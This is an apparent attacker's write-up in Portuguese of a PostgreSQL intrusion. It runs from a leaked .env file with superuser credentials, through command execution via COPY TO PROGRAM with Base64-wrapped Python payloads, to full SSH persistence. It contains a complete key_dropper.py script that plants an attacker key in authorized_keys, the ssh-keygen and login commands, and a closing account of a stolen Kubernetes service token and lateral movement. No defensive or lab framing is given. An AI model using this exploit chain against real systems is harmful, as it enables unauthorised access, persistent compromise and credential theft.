THE POSTGRES PIVOT

1. Reconhecimento (Intel Gathering)

A operação iniciou com a detecção de uma falha crítica de configuração: a exposição de um arquivo de ambiente em um servidor web público.

O Artefato (.env):

DB_HOST=xx.xxx.xx.xx
DB_PORT=5432
DB_USERNAME=postgres
DB_PASSWORD=senhaaqui

A Análise Tática:

• Credenciais de banco de dados válidas foram obtidas.
• A porta 5432 estava exposta, permitindo conexão direta ou via túnel.
• O usuário possuía privilégios de Superuser (Postgres), permitindo execução de comandos no sistema operacional.

2. A Arma (Weaponization)

Para interagir com o banco e executar comandos de sistema (RCE), ferramentas SQL padrão não eram suficientes. Foi necessário desenvolver um exploit customizado.

A Ferramenta: fep_pg_raider.py

Esta ferramenta automatiza a injeção de comandos utilizando a funcionalidade nativa do PostgreSQL:

COPY (SELECT '') TO PROGRAM 'comando_linux'

Evolução do Exploit:

• v1: Falhava com aspas simples e caracteres especiais do shell.
• v3 (Final): Implementou Dollar Quoting ($$) e encapsulamento em Base64 para blindar o payload contra erros de sintaxe SQL.

Dependências:

O ambiente Linux falhou ao compilar psycopg2. A solução foi utilizar a versão binária pré-compilada:

pip install psycopg2-binary

3. A Invasão (Exploitation & Evasion)

Durante a tentativa de execução de comandos, encontramos defesas passivas e um ambiente restrito (Container Minimalista).

Obstáculo 1: Ferramentas Ausentes (Living off the Land)

Tentei usar curl para exfiltração, mas o erro command not found indicou um container limpo.

Solução: Utilizei o binário Python 3 já existente no servidor para emular o curl, usando a biblioteca nativa urllib.

Obstáculo 2: Quoting Hell (Inferno de Aspas)

Ocorreu um erro de sintaxe SQL ao tentar passar o script Python complexo.

Solução: Utilizei sys.argv[1] no payload Python para injetar o código Base64 como argumento externo, limpando a sintaxe do comando SQL.

4. Persistência (SSH Key Injection)

A tentativa de Shell Reversa (Netcat) falhou devido ao Firewall de Saída bloqueando portas altas. A tática foi alterada para Injeção de Chave SSH.

O Script key_dropper.py:

import argparse
import base64
import subprocess
import sys

# ==========================================
#  FEP KEY-DROPPER: SSH PERSISTENCE
# ==========================================

# Template do Payload Python que roda na vítima
# Ele cria a pasta .ssh e salva a sua chave lá
PYTHON_PAYLOAD = """
import os
import sys

# Sua chave pública (Será injetada aqui)
PUB_KEY = "{KEY}"

# Caminho do home do postgres (Vimos no 'env' que é /var/lib/postgresql)
HOME = "/var/lib/postgresql"
SSH_DIR = os.path.join(HOME, ".ssh")
AUTH_FILE = os.path.join(SSH_DIR, "authorized_keys")

try:
    if not os.path.exists(SSH_DIR):
        os.makedirs(SSH_DIR, mode=0o700)
    
    with open(AUTH_FILE, "a") as f:
        f.write("\\n" + PUB_KEY + "\\n")
    
    os.chmod(AUTH_FILE, 0o600)
    print("SUCESSO: Chave gravada em " + AUTH_FILE)
except Exception as e:
    print("ERRO: " + str(e))
"""

def deploy_key(target_host, db_user, db_pass, pub_key):
    print(f"--- FEP KEY-DROPPER ---")
    print(f"[*] Preparando payload para injetar chave SSH...")
    
    # 1. Prepara o script Python com sua chave
    script = PYTHON_PAYLOAD.replace("{KEY}", pub_key.strip())
    
    # 2. Codifica em Base64 (Blindagem)
    b64_script = base64.b64encode(script.encode()).decode()
    
    # 3. Monta o comando do fep_pg_raider
    # O comando que o banco vai rodar é: python3 -c "..."
    final_cmd = f"python3 -c \"import base64;exec(base64.b64decode('{b64_script}'))\""
    
    print(f"[*] Injetando no alvo {target_host}...")
    
    # Chama o fep_pg_raider3.py (que você já tem e funciona)
    # Certifique-se de que ele está na mesma pasta
    cmd_line = [
        "python3", "fep_pg_raider3.py",
        "-H", target_host,
        "-u", db_user,
        "-p", db_pass,
        "-d", db_user, # Database geralmente tem mesmo nome do user
        "-c", final_cmd
    ]
    
    subprocess.run(cmd_line)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-k", "--key", required=True, help="Sua chave id_rsa.pub")
    args = parser.parse_args()
    
    # Configurações do Alvo (Hardcoded para facilitar seu teste)
    TARGET = "alvo.com"
    USER = "root"
    PASS = "password"
    
    with open(args.key, "r") as f:
        pub = f.read()
        
    deploy_key(TARGET, USER, PASS, pub)

Execução do Ataque:

1. Gerei uma chave RSA na máquina atacante (ssh-keygen).

   ssh-keygen -t rsa -f id_ataque -N ""

2. O script converteu a chave pública em Base64.

   cat id_ataque.pub

   python3 key_dropper.py -k id_ataque.pub

3. Enviou via SQL Injection para o servidor.
4. O servidor executou o Python interno, criou a pasta .ssh e gravou a chave em authorized_keys.

5. O Acesso Final (Action on Objectives)

Com a chave implantada com sucesso, o acesso SSH legítimo foi liberado, contornando a necessidade de senhas.

Comando de Entrada:

ssh -i id_ataque postgres@alvo.com

Resultado (Shell Obtida):

Linux 4.19.0-17-amd64 ... Debian ...
$ _

Inventário de Conquista

Você está dentro de um Pod Kubernetes (Linux ERP).

• IP Interno: Acesso à rede 10.x.x.x para movimentação lateral.
• Token K8s: Token de serviço (/var/run/secrets...) extraído, permitindo controle da API do cluster.
• Dados: Acesso local total ao banco de dados sem senha (socket local).

STATUS DA MISSÃO: DOMÍNIO TOTAL.